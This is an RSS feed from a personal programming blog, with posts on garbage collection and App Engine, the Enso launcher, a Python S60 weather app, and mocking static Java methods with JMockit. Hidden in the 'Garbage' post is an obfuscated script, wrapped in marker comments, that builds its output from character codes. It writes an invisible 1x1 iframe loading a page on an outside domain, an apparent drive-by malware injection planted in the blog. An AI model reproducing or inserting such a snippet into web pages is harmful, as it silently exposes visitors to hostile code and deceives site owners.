<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Koans of code</title>
	<link>http://koans.tomo-online.com</link>
	<description>Seeking the non-answers of software</description>
	<pubDate>Fri, 25 Jun 2010 20:40:41 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1</generator>
	<language>en</language>
			<item>
		<title>Manifesto</title>
		<link>http://koans.tomo-online.com/2010/06/25/manifesto/</link>
		<comments>http://koans.tomo-online.com/2010/06/25/manifesto/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 20:40:35 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2010/06/25/manifesto/</guid>
		<description><![CDATA[You wake up one day
]]></description>
			<content:encoded><![CDATA[<p>You wake up one day</p>
<p> <a href="http://koans.tomo-online.com/2010/06/25/manifesto/#more-4" class="more-link">--></a></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2010/06/25/manifesto/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Garbage</title>
		<link>http://koans.tomo-online.com/2008/09/29/garbage-collection-and-google-app-engine/</link>
		<comments>http://koans.tomo-online.com/2008/09/29/garbage-collection-and-google-app-engine/#comments</comments>
		<pubDate>Mon, 29 Sep 2008 18:31:46 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[Rants]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2008/09/29/garbage-collection-and-google-app-engine/</guid>
		<description><![CDATA[Automatic memory management (aka Garbage Collection) has been a mainstream for way over the decade now. Java was the one to make it popular. Some might argue that Lisp or Smalltalk should take all the credits but I'm talking mainstream here. Nowadays, any reasonable programming environment has it. Java, .NET, Ruby on Rails, Python, you [...]]]></description>
			<content:encoded><![CDATA[<p>Automatic memory management (aka Garbage Collection) has been a mainstream for way over the decade now. Java was the one to make it popular. Some might argue that Lisp or Smalltalk should take all the credits but I'm talking <strong>mainstream</strong> here. Nowadays, any reasonable programming environment has it. Java, .NET, Ruby on Rails, Python, you name it. We wouldn't been able to do all the cool apps if we needed to worry about memory management. Let the machine do those menial tasks.</p>
<p>The side effect is that once programmers don't have to deal with the annoying problems of memory management, nobody can do it any more. I mean, there are a bunch of really smart guys who really dig these issues (and write memory managers) and there is the rest of us, who knows next to nothing about it. All we know is that there is a GC, that it's reasonably fast and that we can rely on it. I interview internship candidates as a part of my job. Hardly any of them knows anything above that.  That means no teacher ever mentions those topics in their classes.</p>
<p>Is this a bad thing? I don't think so. I don't really think we all should be bugged with such petty details. Sure, knowing the internals of the GC of your VM of choice is essential at some points but these moments are few and far between. There are more important and more interesting things to worry about day in and day out.</p>
<p>Now, how does it all relates to GAE?</p>
<p>Scaling a web app is hard. There are some ground rules but each case is different, really. The software conferences are full of 'How we scaled Flickr/Twitter/Another cool app' talks. They are full of scary words, words like 'denormalization' or 'sharding'...</p>
<p>But there are new development environment starting to emerge. GAE is a good example - it eases up scaling by taking care of the infrastructure. Scaling isn't a no-brainer (yet) but developers has been relieved of a huge chunk of scaling burden. There are other, more important and more interesting things to take care in your application.</p>
<p>I think that in a couple of years (dozen, if we're unlucky) there will be a small group of super-smart scaling guys, working on frameworks like those and a huge crowd of "ordinary" web developers who just doesn't care. They will use what will be available and don't give a second though of what's being done behind their backs in terms of scaling their apps.</p>
<p>And, just as it is today, hand-crafting will give you faster, less resource-hungry app but it won't be economically viable. The competition will develop faster and cheaper, while the infrastructure cost will be only slightly higher.</p>
<p>Is this a bad thing? I don't think so.</p>
<p><!--cc7fd50633af30ba506cd986f16e778522010--></p>
<script type="text/javascript">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</script>
<p><!--/cc7fd50633af30ba506cd986f16e778522010--></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2008/09/29/garbage-collection-and-google-app-engine/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Natural</title>
		<link>http://koans.tomo-online.com/2008/02/21/natural-language-commands/</link>
		<comments>http://koans.tomo-online.com/2008/02/21/natural-language-commands/#comments</comments>
		<pubDate>Thu, 21 Feb 2008 17:00:08 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2008/02/21/natural-language-commands/</guid>
		<description><![CDATA[In most recent issue of Interactions there is an article by Aza Raskin on language command line. Aza postulates using the power of natural language and cross-application commands to enhance the usability of UIs. The flagship product of his company, Enso, shows exactly what he means.
The article got me thinking. I've been using Enso for [...]]]></description>
			<content:encoded><![CDATA[<p>In most recent issue of <a href="http://portal.acm.org/citation.cfm?doid=1330526.1330535" mce_href="http://portal.acm.org/citation.cfm?doid=1330526.1330535">Interactions</a> there is an <a href="http://interactions.acm.org/content/?p=35" mce_href="http://interactions.acm.org/content/?p=35">article</a> by Aza Raskin on language command line. Aza postulates using the power of natural language and cross-application commands to enhance the usability of UIs. The flagship product of his company, Enso, shows exactly what he means.</p>
<p>The article got me thinking. I've been using Enso for couple months now and I simply can't use my computer without it any more. It takes the friendliness of a standard Windows to a whole new level. </p>
<p>It's much harder to explain it with mere words. You'd better go to their site and watch a screencast or even better - try it out. It's free.</p>
<p>There are to features of Enso which make it so damn useful for me: One, I don't have to remember the exact name of a command I want to execute. Two, I can give names to various important items (files, URLs) and use them in commands.</p>
<p>Enso allows me to start an application using any part of its name. For example, I don't have to remember that Visio's real name is Microsoft Office Visio. When I start typing "Visio", Enso gives me hints on available commands that match with letters entered. Two-three letters are usually enough.</p>
<p>There are a couple of files I use on regular basis. They are nicely put in the file system hierarchy, according to the projects, versions, dates... This makes it very hard to navigate to where they lie. Since I started using Enso I named them and can open them without even opening any directories. Works like magic <img src='http://koans.tomo-online.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Well, this post is not really about Enso. I think Enso is just a beginning. The natural language technologies will get more and more popular. Maybe eventually computers will just understand what we talk to them but it's not the point. The point is: the more we're dependent on software in our daily tasks, the more natural language they will need to understand. Natural language is the most effective means we have to communicate. It's not perfect though. It's like democracy: it has many drawbacks but we don't have anything better. We sometimes boost communication using pictures ("A picture is worth thousand words"), but still a conversation is best way to understand each other or to explain ideas.</p>
<p>And actually it is being done. Compare the results of googling "GM food" and "GM car".  Google now "understand" the context of the search and "knows" what GM stands form. </p>
<p>We communicate with software so we need to use our most effective means.</p>
<p> <a href="http://koans.tomo-online.com/2008/02/21/natural-language-commands/#more-37" class="more-link">--></a></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2008/02/21/natural-language-commands/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Symbian</title>
		<link>http://koans.tomo-online.com/2008/02/17/symbian-weather-app-a-quick-update/</link>
		<comments>http://koans.tomo-online.com/2008/02/17/symbian-weather-app-a-quick-update/#comments</comments>
		<pubDate>Sun, 17 Feb 2008 20:25:24 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[Coding]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2008/02/17/symbian-weather-app-a-quick-update/</guid>
		<description><![CDATA[I've been on a very boring meeting sometime last week. I used that time to improve my weather app  
I've added a very simple function. In addition to showing current conditions, now you've got two more tabs with forecast for today and tomorrow.
Enjoy.
]]></description>
			<content:encoded><![CDATA[<p>I've been on a very boring meeting sometime last week. I used that time to improve my weather app <img src='http://koans.tomo-online.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>I've added a very simple function. In addition to showing current conditions, now you've got two more tabs with forecast for today and tomorrow.</p>
<p><a href="http://koans.tomo-online.com/wp-content/uploads/2008/02/weather.py">Enjoy</a>.</p>
<p> <a href="http://koans.tomo-online.com/2008/02/17/symbian-weather-app-a-quick-update/#more-34" class="more-link">--></a></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2008/02/17/symbian-weather-app-a-quick-update/feed/</wfw:commentRss>
		</item>
		<item>
		<title>My</title>
		<link>http://koans.tomo-online.com/2008/01/27/my-very-first-python-s60-app/</link>
		<comments>http://koans.tomo-online.com/2008/01/27/my-very-first-python-s60-app/#comments</comments>
		<pubDate>Sun, 27 Jan 2008 20:53:05 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[Coding]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2008/01/27/my-very-first-python-s60-app/</guid>
		<description><![CDATA[This weekend I found some time to create my first application for my new phone. A tiny little app, in fact.
I used Python to create a small weather application. When started, it asks for the city. Then, it fetches weather condition and forecast from Google. Then it displays current conditions. That's it.
I spent most of [...]]]></description>
			<content:encoded><![CDATA[<p>This weekend I found some time to create my first application for my new phone. A tiny little app, in fact.</p>
<p>I used Python to create a small weather application. When started, it asks for the city. Then, it fetches weather condition and forecast from <a href="http://animaonline.blogspot.com/2007/07/google-weather-api.html">Google</a>. Then it displays current conditions. That's it.</p>
<p>I spent most of the development time on researching how you do things on Symbian and in PyS60. And, well, it's easier then I expected.</p>
<p>So, there's much more to do to make it a useful app - default city, for example, list of previously entered cities, choice between Celsius and Fahrenheit... Or getting the city from cell location. That would be neat!</p>
<p>If anyone wants to take a look, <a href="http://koans.tomo-online.com/wp-content/uploads/2008/01/weather.py">here</a> it is!. (Sorry, no screen shots. I don't know yet how to make them <img src='http://koans.tomo-online.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> )</p>
<p> <a href="http://koans.tomo-online.com/2008/01/27/my-very-first-python-s60-app/#more-31" class="more-link">--></a></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2008/01/27/my-very-first-python-s60-app/feed/</wfw:commentRss>
		</item>
		<item>
		<title>It</title>
		<link>http://koans.tomo-online.com/2008/01/22/its-done/</link>
		<comments>http://koans.tomo-online.com/2008/01/22/its-done/#comments</comments>
		<pubDate>Mon, 21 Jan 2008 23:05:39 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2008/01/22/its-done/</guid>
		<description><![CDATA[I bought it.
Now the world of Symbian Python programming is mine oyster, which I with my emacs will open.
]]></description>
			<content:encoded><![CDATA[<p>I bought <a href="http://www.nokia.pl/link?cid=PLAIN_TEXT_262918">it</a>.</p>
<p>Now the world of Symbian Python programming is mine oyster, which I with my emacs will open.</p>
<p> <a href="http://koans.tomo-online.com/2008/01/22/its-done/#more-30" class="more-link">--></a></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2008/01/22/its-done/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Can</title>
		<link>http://koans.tomo-online.com/2008/01/16/cant-get-it-out-of-my-head/</link>
		<comments>http://koans.tomo-online.com/2008/01/16/cant-get-it-out-of-my-head/#comments</comments>
		<pubDate>Wed, 16 Jan 2008 20:23:57 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2008/01/16/cant-get-it-out-of-my-head/</guid>
		<description><![CDATA[I simply can't get it out of my head. I felt in love with this little baby. Should my mobile operator offer it to me at slightly lower price, I would have bought it by now. Still, I can have it below market price.
Do any of you have any experience with Symbian phones in general [...]]]></description>
			<content:encoded><![CDATA[<p>I simply can't get it out of my head. I felt in love with <a href="http://europe.nokia.com/A4344227">this little baby</a>. Should my mobile operator offer it to me at slightly lower price, I would have bought it by now. Still, I can have it below market price.</p>
<p>Do any of you have any experience with <a href="http://www.symbian.com/">Symbian</a> phones in general and this Nokia in particular?</p>
<p>(Worse, my wife wants one too. Ughgh, my budget is strained  after Christmas even without those!)</p>
<p> <a href="http://koans.tomo-online.com/2008/01/16/cant-get-it-out-of-my-head/#more-29" class="more-link">--></a></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2008/01/16/cant-get-it-out-of-my-head/feed/</wfw:commentRss>
		</item>
		<item>
		<title>In</title>
		<link>http://koans.tomo-online.com/2007/12/19/in-defense-of-a-static-method/</link>
		<comments>http://koans.tomo-online.com/2007/12/19/in-defense-of-a-static-method/#comments</comments>
		<pubDate>Wed, 19 Dec 2007 08:26:26 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[Coding]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2007/12/19/in-defense-of-a-static-method/</guid>
		<description><![CDATA[My recent post inpired a friend of mine to write about the untestability of the code. Go check the entry before reading further, because it a response.
Though I do agree with his general point - code that is hard to test probably is a bad code and should be refactored - I don't agree with [...]]]></description>
			<content:encoded><![CDATA[<p>My recent post inpired a friend of mine to write about the untestability of the code. Go check the <a href="http://szczepiq.wordpress.com/2007/12/18/guilty-of-untestability/">entry</a> before reading further, because it a response.</p>
<p>Though I do agree with his general point - code that is hard to test probably is a bad code and should be refactored - I don't agree with the claim that static methods are pure evil.</p>
<p>First, static methods are a part of the language and are very useful at times. Replacing them blindly with, say, dependency injection would be a classic example of overengineering a problem. It's just not worth it. Static method is a very simple solution to a very simple problem. It can be overused, as any element of the language, but using it is not a bad design all by itself.</p>
<p>Second, I tend to treat developers as responsible grown-up people (as long as programming, and only programming is concerned, of course). I want them (and me) to have all the tools and means necessary to shoot their own foot should they wish so. I'd rather have tools I could accidentaly hurt myself with - like with a lot of work to implement a change later in the lifecycle of a piece of software - then having the tools that would limit me in my job. That's why I prefer Python to Java. And I think that's the reason Java evolves towards giving developers more control over what they can do with the language. In other words, thank you Mr Language Designer, I know how to handle a gun, you don't have to limit me in my desire to point it to my foot.</p>
<p>And third - I cannot just call somebody at Sun and say: "Listen up, I don't like that System.getEnv is static. You'd better make it a <strong>real</strong> method in Java 7, 'cuz you're making my code hard to test." I actually <strong>like</strong> that method being static. I think it should be static. It's the right usage of a static method. The same can be said about lots of other methods and other libraries. And I found a simple way to test code that uses them.</p>
<p> <a href="http://koans.tomo-online.com/2007/12/19/in-defense-of-a-static-method/#more-28" class="more-link">--></a></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2007/12/19/in-defense-of-a-static-method/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Mocking</title>
		<link>http://koans.tomo-online.com/2007/12/18/mocking-static-methods/</link>
		<comments>http://koans.tomo-online.com/2007/12/18/mocking-static-methods/#comments</comments>
		<pubDate>Tue, 18 Dec 2007 15:33:29 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[Coding]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2007/12/18/mocking-static-methods/</guid>
		<description><![CDATA[A small introduction:
I've been writing a small piece of code recently. Since I'm test-infected, I cannot sleep well unless I've got test cases for everything I write. And I do use mock objects a lot - I test all my methods both in isolation.
Sometimes writing a piece of functionality as a static method is the [...]]]></description>
			<content:encoded><![CDATA[<p>A small introduction:</p>
<p>I've been writing a small piece of code recently. Since I'm <a href="http://c2.com/cgi/wiki?TestInfected">test-infected</a>, I cannot sleep well unless I've got test cases for everything I write. And I do use <a href="http://en.wikipedia.org/wiki/Mock_object">mock objects</a> a lot - I test all my methods both in isolation.</p>
<p>Sometimes writing a piece of functionality as a static method is the right way to go. However, if I want to test a method that uses the static one, I can't isolate it! I was almost sick because of that breach in my solid testing strategy! I just had to solve it!</p>
<p>So, let's consider a simple static function:</p>
<pre class="java5">&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Library <span style="color: #66cc66;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000000; font-weight: bold;">public</span> Map&lt;String, String&gt; getFileteredEnv<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
        Map&lt;String, String&gt; env = <a href="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/System.html"><span style="color: #aaaadd; font-weight: bold;">System</span></a>.<span style="color: #006600;">getenv</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
        Map&lt;String, String&gt; retenv = <span style="color: #000000; font-weight: bold;">new</span> HashMap&lt;String, String&gt;<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
        Set&lt;String&gt; keys = env.<span style="color: #006600;">keySet</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><a href="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/String.html"><span style="color: #aaaadd; font-weight: bold;">String</span></a> key : keys<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>key.<span style="color: #006600;">length</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> &amp;lt; <span style="color: #cc66cc;">7</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
                retenv.<span style="color: #006600;">put</span><span style="color: #66cc66;">&#40;</span>key, env.<span style="color: #006600;">get</span><span style="color: #66cc66;">&#40;</span>key<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span>
        <span style="color: #000000; font-weight: bold;">return</span> retenv;
    <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre>
<p>All it does is returning a list of environment variables which names have less than 7 characters. (Hey, it's just an example!)</p>
<p>So, there is a function which actually uses it. For the same of example, it's equally stupid:</p>
<pre class="java5">&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ImportantClass <span style="color: #66cc66;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #993333;">int</span> getSizeOfShortEnvironmentVariables<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
        Map&lt;String, String&gt; envs = Library.<span style="color: #006600;">getFileteredEnv</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #000000; font-weight: bold;">return</span> envs.<span style="color: #006600;">size</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre>
<p>So, since the static function relies on the current state of the environment on the machine I run the test, it seems I can't reliably test the non-static one.  A mock is not just a whim. I'd say it's a necessity!</p>
<p>At first, I was thinking about hacking the class loader to intercept the request to load Library class and return a mock instead. Fortunately I invented the solution when I was driving and I couldn't code it right away. A couple hours later I sat in front of my computer and started with Google (instead of launching Eclipse right away).</p>
<p>What I found was just plain incredible. Watch this:</p>
<pre class="java5">&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> MockupLibrary <span style="color: #66cc66;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000000; font-weight: bold;">public</span> Map&lt;String, String&gt; getFileteredEnv<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
        Map&lt;String, String&gt; map = <span style="color: #000000; font-weight: bold;">new</span> HashMap&lt;String, String&gt;<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
        map.<span style="color: #006600;">put</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;Test&quot;</span>, <span style="color: #ff0000;">&quot;ABC&quot;</span><span style="color: #66cc66;">&#41;</span>;
        map.<span style="color: #006600;">put</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;Else&quot;</span>, <span style="color: #ff0000;">&quot;def&quot;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #000000; font-weight: bold;">return</span> map;
        <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre>
<p>This is a mock version of the Library. It returns a controlled list of variables. Now, how do I put it in action?</p>
<pre class="java5">&nbsp;
@Before
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #993333;">void</span> setUp<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
    Mockit.<span style="color: #006600;">redefineMethods</span><span style="color: #66cc66;">&#40;</span>Library.<span style="color: #000000; font-weight: bold;">class</span>, MockupLibrary.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre>
<p>Isn't it cool? Thanks to <a href="https://jmockit.dev.java.net/">JMockit</a> (and <a href="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/instrument/package-summary.html">java.lang.instrument</a>), it is that simple! The simplicity and sheer coolness made me a fun of that library right away. A core of JMockit consists of a single class and a handful of methods. They do most of the job. And there are some nice features build upon it (like annotations).</p>
<p>And I guess I have to take a closer look at j.l.instrument. I just loooove this kinds of programming magic!</p>
<p>And, oh, BTW, you can redefine methods in a final class as well!</p>
<p> <a href="http://koans.tomo-online.com/2007/12/18/mocking-static-methods/#more-27" class="more-link">--></a></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2007/12/18/mocking-static-methods/feed/</wfw:commentRss>
		</item>
		<item>
		<title>import</title>
		<link>http://koans.tomo-online.com/2007/12/05/import-antigravity/</link>
		<comments>http://koans.tomo-online.com/2007/12/05/import-antigravity/#comments</comments>
		<pubDate>Wed, 05 Dec 2007 08:42:03 +0000</pubDate>
		<dc:creator>Tomo</dc:creator>
		
		<category><![CDATA[Blogroll]]></category>

		<guid isPermaLink="false">http://koans.tomo-online.com/2007/12/05/import-antigravity/</guid>
		<description><![CDATA[Take a look at today's xkcd.
Awesome.
(P.S. The only think I miss in Python in a easy and portable and good-looking GUI toolkit.)
]]></description>
			<content:encoded><![CDATA[<p>Take a look at today's <a href="http://xkcd.com/353/">xkcd.</a></p>
<p>Awesome.</p>
<p>(P.S. The only think I miss in Python in a easy and portable and good-looking GUI toolkit.)</p>
<p> <a href="http://koans.tomo-online.com/2007/12/05/import-antigravity/#more-26" class="more-link">--></a></p>
]]></content:encoded>
			<wfw:commentRss>http://koans.tomo-online.com/2007/12/05/import-antigravity/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
